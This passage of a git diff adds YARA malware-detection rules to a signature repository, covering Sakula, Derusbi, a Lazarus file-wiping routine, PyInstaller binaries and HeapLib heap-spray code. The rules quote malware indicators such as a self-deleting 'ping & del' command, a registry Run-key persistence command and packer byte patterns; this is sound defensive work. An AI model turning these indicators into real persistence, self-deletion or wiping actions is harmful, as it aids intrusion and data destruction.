+        description = "Sakula v2.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Sakula"
+        $m2 = "%d_of_%d_for_%s_on_%s"
+        $m3 = "Create Child Cmd.exe Process Succeed!"
+        $v2_1 = "\\drivers\\etc\\hosts"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of ($m*) and not $v2_1
+}
+
+rule sakula_v3_0
+{
+    meta:
+        description = "Sakula v3.0"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+        $m2 = "ry.db"
+        $m3 = "cmd.exe /c reg add %s\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"%s\" /t REG_SZ /d \"%s\""
+        $m4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v3_1
+{
+    meta:
+        description = "Sakula v3.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+        $m2 = ".NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+        $m3 = "Self Process Id:"
+        $m4 = "msi.dll"
+        $m5 = "setup.msi"
+        $m6 = "%WINDIR%\\system32\\svchost.exe"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+rule sakula_v3_2  {
+    meta:
+        description = "Sakula v3.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m2 = "%TEMP%\\"
+        $m3 = "Emabout.dll"
+        $m4 = "Thumbs.db"
+        $m5 = "shutil.dll"
+        $m6 = "CloseAbout"
+                $m7 = "rundll32.exe"
+
+    condition:
+        all of them
+}
+
+rule sakula_packed_v2_0
+{
+    meta:
+        description = "Sakula packer v2.0 - The bytes string matchs 2 concatenated functions. The first function returns the offset of the second function, and the second function returns the payload offset (hardcoded)"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = { 55 8B EC 51 53 56 57 E8  00 00 00 00 58 05 13 00 00 00 89 45 FC 8B 45 FC  5F 5E 5B 8B E5 5D C3 4D }
+
+        $MZ = "MZ"
+    condition:
+        all of them
+}
+
+rule sakula_packed_v2_1
+{
+    meta:
+        description = "Sakula packer v2.1 - The bytes string matchs a specific decryption routine. It starts by xoring the payload many times (an even number) with 0x32. It is cryptographically useless, but it simulates a Sleep. Then, it decrypts the payload with a xor 0x33"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = { 33 C0 B2 32 85 F6 74 0D  30 14 38 8D 0C 38 40 FE C2 3B C6 72 F3 81 FB FF  FF 01 00 74 0B 43 81 FB 00 00 00 01 7C DA EB 15  33 C9 B2 33 85 F6 74 0D 30 14 39 8D 04 39 41 FE  C2 3B CE 72 F3 83 EC 0C}
+
+    condition:
+        all of them
+}
+
+rule sakula_packed_v2_2
+{
+    meta:
+        description = "Sakula packer v2.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = "goldsunfucker"
+
+    condition:
+        all of them
+}
+
+rule sakula_packed_v3_1
+{
+    meta:
+        description = "Sakula v3.1 packed shellcode"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "AAAA"
+        $m2 = "BBBB"
+        $m3 = "CCCC"
+
+        $MZ = "MZ"
+    condition:
+        all of ($m*) and @m1 < @m2 and @m2 < @m3 and $MZ at @m3+4
+}
+
+rule sakula_dropper_v3_1
+{
+    meta:
+        description = "Sakula v3.1 dropper"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m2 = "%TEMP%\\"
+        $m3 = "s.exe"
+        $m4 = "setup.msi"
+        $m5 = "msi.dll"
+    condition:
+        all of them
+}
+
+rule vx_protector  {
+    meta:
+        description = "vx protector (used as a protection layer by Sakula) - The bytes string match a specific layer of protection inserted manually before the real code. It decrypts the real code and jumps on it."
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = { 89 FF 55 89 E5 83 EC 20 A1 08 30 40 00 83 F8 00 75 0F A1 0C 30 40 00 83 F8 00 75 05 E9 95 00 00 00 E8 FA 60 00 00 89 45 FC 68 88 13 00 00 E8 F3 60 00 00 E8 C8 5F 00 00 83 F8 00 74 E4 89 45 EC E8 DB 60 00 00 2B 45 FC 3D 88 13 00 00 7C D2 8D 45 F8 50 E8 AE 5F 00 00 83 F8 00 74 C4 A1 08 30 40 00 83 F8 00 74 2C 68 E8 03 00 00 E8 B5 60 00 00 8D 45 F0 50 E8 8C 5F 00 00 83 F8 00 74 E8 8B 45 FC 8B 5D F4 39 D8 74 98 8B 45 F8 8B 5D F0 39 D8 74 D4 A1 0C 30 40 00 83 F8 00 74 19 68 88 13 00 00 E8 7F 60 00 00 E8 54 5F 00 00 83 F8 00 74 E2 3B 45 EC 90 90 FF 35 00 30 40 00 B8 1A 30 40 00 BB 71 32 40 00 29 C3 53 68 1A 30 40 00 E8 25 1B 00 00 8D 45 FC 50 6A 40 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 3C 60 00 00 FF 35 04 30 40 00 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 EB 1A 00 00 8D 45 FC 50 FF 30 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 02 60 00 00 EC EC EC EC EC EC}
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/derusbi_kernel.yar b/yara-mikesxrs/Airbus/derusbi_kernel.yar
new file mode 100644
index 0000000..257d678
--- /dev/null
+++ b/yara-mikesxrs/Airbus/derusbi_kernel.yar
@@ -0,0 +1,17 @@
+rule derusbi_kernel
+{
+    meta:
+        description = "Derusbi Driver version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+    strings:
+    $token1 = "$$$--Hello"     
+    $token2 = "Wrod--$$$"   
+    $cfg = "XXXXXXXXXXXXXXX"
+    $class = ".?AVPCC_BASEMOD@@"
+    $MZ = "MZ"
+
+    condition:
+        $MZ at 0 and $token1 and $token2 and $cfg and $class
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/derusbi_linux.yar b/yara-mikesxrs/Airbus/derusbi_linux.yar
new file mode 100644
index 0000000..418e3b3
--- /dev/null
+++ b/yara-mikesxrs/Airbus/derusbi_linux.yar
@@ -0,0 +1,17 @@
+rule derusbi_linux
+{
+    meta:
+        description = "Derusbi Server Linux version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        Reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+    strings:
+    $PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+    $cmd = "unset LS_OPTIONS;uname -a"
+    $pname = "[diskio]"
+    $rkfile = "/tmp/.secure"
+    $ELF = "\x7fELF"
+
+    condition:
+        $ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+}
diff --git a/yara-mikesxrs/Airbus/sakula_dropper_v3-1.yar b/yara-mikesxrs/Airbus/sakula_dropper_v3-1.yar
new file mode 100644
index 0000000..9744192
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_dropper_v3-1.yar
@@ -0,0 +1,16 @@
+rule sakula_dropper_v3_1
+{
+    meta:
+        description = "Sakula v3.1 dropper"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m2 = "%TEMP%\\"
+        $m3 = "s.exe"
+        $m4 = "setup.msi"
+        $m5 = "msi.dll"
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_packed_v2-0.yar b/yara-mikesxrs/Airbus/sakula_packed_v2-0.yar
new file mode 100644
index 0000000..14d390b
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_packed_v2-0.yar
@@ -0,0 +1,15 @@
+rule sakula_packed_v2_0
+{
+    meta:
+        description = "Sakula packer v2.0 - The bytes string matchs 2 concatenated functions. The first function returns the offset of the second function, and the second function returns the payload offset (hardcoded)"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = { 55 8B EC 51 53 56 57 E8  00 00 00 00 58 05 13 00 00 00 89 45 FC 8B 45 FC  5F 5E 5B 8B E5 5D C3 4D }
+
+        $MZ = "MZ"
+    condition:
+        all of them
+}
+
diff --git a/yara-mikesxrs/Airbus/sakula_packed_v2-1.yar b/yara-mikesxrs/Airbus/sakula_packed_v2-1.yar
new file mode 100644
index 0000000..6e2aaca
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_packed_v2-1.yar
@@ -0,0 +1,14 @@
+rule sakula_packed_v2_1
+{
+    meta:
+        description = "Sakula packer v2.1 - The bytes string matchs a specific decryption routine. It starts by xoring the payload many times (an even number) with 0x32. It is cryptographically useless, but it simulates a Sleep. Then, it decrypts the payload with a xor 0x33"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = { 33 C0 B2 32 85 F6 74 0D  30 14 38 8D 0C 38 40 FE C2 3B C6 72 F3 81 FB FF  FF 01 00 74 0B 43 81 FB 00 00 00 01 7C DA EB 15  33 C9 B2 33 85 F6 74 0D 30 14 39 8D 04 39 41 FE  C2 3B CE 72 F3 83 EC 0C}
+
+    condition:
+        all of them
+}
+
diff --git a/yara-mikesxrs/Airbus/sakula_packed_v2-2.yar b/yara-mikesxrs/Airbus/sakula_packed_v2-2.yar
new file mode 100644
index 0000000..aabdf0b
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_packed_v2-2.yar
@@ -0,0 +1,14 @@
+rule sakula_packed_v2_2
+{
+    meta:
+        description = "Sakula packer v2.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m = "goldsunfucker"
+
+    condition:
+        all of them
+}
+
diff --git a/yara-mikesxrs/Airbus/sakula_packed_v3-1.yar b/yara-mikesxrs/Airbus/sakula_packed_v3-1.yar
new file mode 100644
index 0000000..fe43d65
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_packed_v3-1.yar
@@ -0,0 +1,17 @@
+rule sakula_packed_v3_1
+{
+    meta:
+        description = "Sakula v3.1 packed shellcode"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "AAAA"
+        $m2 = "BBBB"
+        $m3 = "CCCC"
+
+        $MZ = "MZ"
+    condition:
+        all of ($m*) and @m1 < @m2 and @m2 < @m3 and $MZ at @m3+4
+}
+
diff --git a/yara-mikesxrs/Airbus/sakula_v1-0.yar b/yara-mikesxrs/Airbus/sakula_v1-0.yar
new file mode 100644
index 0000000..57cfa25
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v1-0.yar
@@ -0,0 +1,19 @@
+rule sakula_v1_0
+{
+    meta:
+        description = "Sakula v1.0"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "=%s&type=%d"
+        $m4 = "?photoid="
+        $m5 = "iexplorer"
+                $m6 = "net start \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of ($m*) and not $v1_1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_v1-1.yar b/yara-mikesxrs/Airbus/sakula_v1-1.yar
new file mode 100644
index 0000000..4ae52f3
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v1-1.yar
@@ -0,0 +1,19 @@
+rule sakula_v1_1
+{
+    meta:
+        description = "Sakula v1.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "=%s&type=%d"
+        $m4 = "?photoid="
+        $m5 = "iexplorer"
+                $m6 = "net start \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
diff --git a/yara-mikesxrs/Airbus/sakula_v1-2.yar b/yara-mikesxrs/Airbus/sakula_v1-2.yar
new file mode 100644
index 0000000..574d449
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v1-2.yar
@@ -0,0 +1,18 @@
+rule sakula_v1_2
+{
+    meta:
+        description = "Sakula v1.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+        $v1_1 = "MicroPlayerUpdate.exe"
+        $v1_2 = "CCPUpdate"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and $m1 and $m2 and $m3 and $v1_2 and not $v1_1
+}
diff --git a/yara-mikesxrs/Airbus/sakula_v1-3.yar b/yara-mikesxrs/Airbus/sakula_v1-3.yar
new file mode 100644
index 0000000..5c99c8f
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v1-3.yar
@@ -0,0 +1,18 @@
+rule sakula_v1_3
+{
+    meta:
+        description = "Sakula v1.3"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+
+        $v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_v1-4.yar b/yara-mikesxrs/Airbus/sakula_v1-4.yar
new file mode 100644
index 0000000..efe65b7
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v1-4.yar
@@ -0,0 +1,18 @@
+rule sakula_v1_4
+{
+    meta:
+        description = "Sakula v1.4"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/09/APT-BlackVine-Malware-Sakula"
+    strings:
+        $m1 = "%d_of_%d_for_%s_on_%s"
+        $m2 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m3 = "cmd.exe /c rundll32 \"%s\""
+
+        $v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_v2-0.yar b/yara-mikesxrs/Airbus/sakula_v2-0.yar
new file mode 100644
index 0000000..c2970d9
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v2-0.yar
@@ -0,0 +1,15 @@
+rule sakula_v2_0
+{
+    meta:
+        description = "Sakula v2.0 - The bytes string matchs a specific decryption routine (xor 0x33) (VirtualAlloc + memcpy + loop)"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+
+    strings:
+        $m = { 8B 75 DC 2B F3 6A 40 68  00 10 00 00 56 6A 00 FF 15 04 20 40 00 8B F8 85  FF 74 4A 56 8B 4D E0 03 CB 51 57 E8 3C 02 00 00  83 C4 0C C7 45 FC 00 00 00 00 B3 33 33 D2 89 55  D8 88 5D E7 3B D6 73 11 0F B6 CB 0F B6 04 3A 33  C8 88 0C 3A FE C3 42 EB E5 FF D7 EB }
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_v2-1.yar b/yara-mikesxrs/Airbus/sakula_v2-1.yar
new file mode 100644
index 0000000..880ec99
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v2-1.yar
@@ -0,0 +1,17 @@
+rule sakula_v2_1
+{
+    meta:
+        description = "Sakula v2.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Sakula"
+        $m2 = "%d_of_%d_for_%s_on_%s"
+        $m3 = "Create Child Cmd.exe Process Succeed!"
+        $v2_1 = "\\drivers\\etc\\hosts"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
diff --git a/yara-mikesxrs/Airbus/sakula_v2-2.yar b/yara-mikesxrs/Airbus/sakula_v2-2.yar
new file mode 100644
index 0000000..92b1f6c
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v2-2.yar
@@ -0,0 +1,17 @@
+rule sakula_v2_2
+{
+    meta:
+        description = "Sakula v2.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Sakula"
+        $m2 = "%d_of_%d_for_%s_on_%s"
+        $m3 = "Create Child Cmd.exe Process Succeed!"
+        $v2_1 = "\\drivers\\etc\\hosts"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of ($m*) and not $v2_1
+}
diff --git a/yara-mikesxrs/Airbus/sakula_v3-0.yar b/yara-mikesxrs/Airbus/sakula_v3-0.yar
new file mode 100644
index 0000000..d8bb90d
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v3-0.yar
@@ -0,0 +1,19 @@
+rule sakula_v3_0
+{
+    meta:
+        description = "Sakula v3.0"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+        $m2 = "ry.db"
+        $m3 = "cmd.exe /c reg add %s\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"%s\" /t REG_SZ /d \"%s\""
+        $m4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
+
diff --git a/yara-mikesxrs/Airbus/sakula_v3-1.yar b/yara-mikesxrs/Airbus/sakula_v3-1.yar
new file mode 100644
index 0000000..243ebbe
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v3-1.yar
@@ -0,0 +1,20 @@
+rule sakula_v3_1
+{
+    meta:
+        description = "Sakula v3.1"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+        $m2 = ".NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+        $m3 = "Self Process Id:"
+        $m4 = "msi.dll"
+        $m5 = "setup.msi"
+        $m6 = "%WINDIR%\\system32\\svchost.exe"
+
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and all of them
+}
+
diff --git a/yara-mikesxrs/Airbus/sakula_v3-2.yar b/yara-mikesxrs/Airbus/sakula_v3-2.yar
new file mode 100644
index 0000000..7440365
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_v3-2.yar
@@ -0,0 +1,18 @@
+rule sakula_v3_2  {
+    meta:
+        description = "Sakula v3.2"
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = "/c ping 127.0.0.1 & del /q \"%s\""
+        $m2 = "%TEMP%\\"
+        $m3 = "Emabout.dll"
+        $m4 = "Thumbs.db"
+        $m5 = "shutil.dll"
+        $m6 = "CloseAbout"
+                $m7 = "rundll32.exe"
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Airbus/sakula_vx_protector.yar b/yara-mikesxrs/Airbus/sakula_vx_protector.yar
new file mode 100644
index 0000000..d88fb60
--- /dev/null
+++ b/yara-mikesxrs/Airbus/sakula_vx_protector.yar
@@ -0,0 +1,14 @@
+
+
+rule vx_protector  {
+    meta:
+        description = "vx protector (used as a protection layer by Sakula) - The bytes string match a specific layer of protection inserted manually before the real code. It decrypts the real code and jumps on it."
+        date = "2015-10-13"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou"
+        reference = "http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-%28Part-2/2%29"
+    strings:
+        $m1 = { 89 FF 55 89 E5 83 EC 20 A1 08 30 40 00 83 F8 00 75 0F A1 0C 30 40 00 83 F8 00 75 05 E9 95 00 00 00 E8 FA 60 00 00 89 45 FC 68 88 13 00 00 E8 F3 60 00 00 E8 C8 5F 00 00 83 F8 00 74 E4 89 45 EC E8 DB 60 00 00 2B 45 FC 3D 88 13 00 00 7C D2 8D 45 F8 50 E8 AE 5F 00 00 83 F8 00 74 C4 A1 08 30 40 00 83 F8 00 74 2C 68 E8 03 00 00 E8 B5 60 00 00 8D 45 F0 50 E8 8C 5F 00 00 83 F8 00 74 E8 8B 45 FC 8B 5D F4 39 D8 74 98 8B 45 F8 8B 5D F0 39 D8 74 D4 A1 0C 30 40 00 83 F8 00 74 19 68 88 13 00 00 E8 7F 60 00 00 E8 54 5F 00 00 83 F8 00 74 E2 3B 45 EC 90 90 FF 35 00 30 40 00 B8 1A 30 40 00 BB 71 32 40 00 29 C3 53 68 1A 30 40 00 E8 25 1B 00 00 8D 45 FC 50 6A 40 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 3C 60 00 00 FF 35 04 30 40 00 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 EB 1A 00 00 8D 45 FC 50 FF 30 B8 2A 11 40 00 BB F8 2B 40 00 29 C3 53 68 2A 11 40 00 E8 02 60 00 00 EC EC EC EC EC EC}
+
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Anomali Labs/Lazarus_wipe_file_routine.yar b/yara-mikesxrs/Anomali Labs/Lazarus_wipe_file_routine.yar
new file mode 100644
index 0000000..8c649f5
--- /dev/null
+++ b/yara-mikesxrs/Anomali Labs/Lazarus_wipe_file_routine.yar	
@@ -0,0 +1,28 @@
+rule AnomaliLABS_Lazarus_wipe_file_routine {
+ meta:
+     author = "aaron shelmire"
+     date = "2015 May 26"
+     desc = “Yara sig to detect File Wiping routine of the Lazarus group�
+     reference = "https://blog.anomali.com/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks"
+ strings:
+     $rand_name_routine = { 99 B9 1A 00 00 00 F7 F9 80 C2 61 88 16 8A 46 01 46 84 C0 }
+     /* imports for overwrite function */
+     $imp_getTick = "GetTickCount"
+     $imp_srand = "srand"
+     $imp_CreateFile = "CreateFileA"
+     $imp_SetFilePointer = "SetFilePointer"
+     $imp_WriteFile = "WriteFile"
+     $imp_FlushFileBuffers = "FlushFileBuffers"
+     $imp_GetFileSizeEx = "GetFileSizeEx"
+     $imp_CloseHandle = "CloseHandle"
+     /* imports for rename function */
+     $imp_strrchr = "strrchr"
+     $imp_rand = "rand"
+     $Move_File = "MoveFileA"
+     $Move_FileEx = "MoveFileEx"
+     $imp_RemoveDir = "RemoveDirectoryA"
+     $imp_DeleteFile = "DeleteFileA"
+     $imp_GetLastError = "GetLastError"
+condition:
+     $rand_name_routine and (11 of ($imp_*)) and ( 1 of ($Move_*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Anomali Labs/PyInstaller_Binary.yar b/yara-mikesxrs/Anomali Labs/PyInstaller_Binary.yar
new file mode 100644
index 0000000..9e5d2f9
--- /dev/null
+++ b/yara-mikesxrs/Anomali Labs/PyInstaller_Binary.yar	
@@ -0,0 +1,16 @@
+rule PyInstaller_Binary
+  {
+meta:
+    author = "Nicholas Albright, ThreatStream"
+    desc = "Generic rule to identify PyInstaller Compiled Binaries"
+    reference = "https://blog.anomali.com/crushing-python-malware"
+strings:
+    $string0 = "zout00-PYZ.pyz"
+    $string1 = "python"
+    $string2 = "Python DLL"
+    $string3 = "Py_OptimizeFlag"
+    $string4 = "pyi_carchive"
+    $string5 = ".manifest"
+condition:
+    all of them // and new_file
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/ApoNie/HeapLib.yar b/yara-mikesxrs/ApoNie/HeapLib.yar
new file mode 100644
index 0000000..8d556b6
--- /dev/null
+++ b/yara-mikesxrs/ApoNie/HeapLib.yar
@@ -0,0 +1,26 @@
+rule HeapLib
+{
+	meta:
+		author = "adnan.shukor@gmail.com"
+		description = "Detection of HeapLib which commonly used in heap spray related exploit"
+		ref = "http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html"
+		cve = "NA"
+		version = "1"
+		impact = 3
+		hide = false
+	strings:
+		$heaplib_1 = /\.ie\s?=\s?function\s?\(maxAlloc,/
+		$heaplib_2 = /\.ie\.prototype\.round\s?=\s?function\s?\(num,\s?round\)/
+		$heaplib_3 = /\.ie\.prototype\.hex\s?=\s?function\s?\(num,\s?width\)/
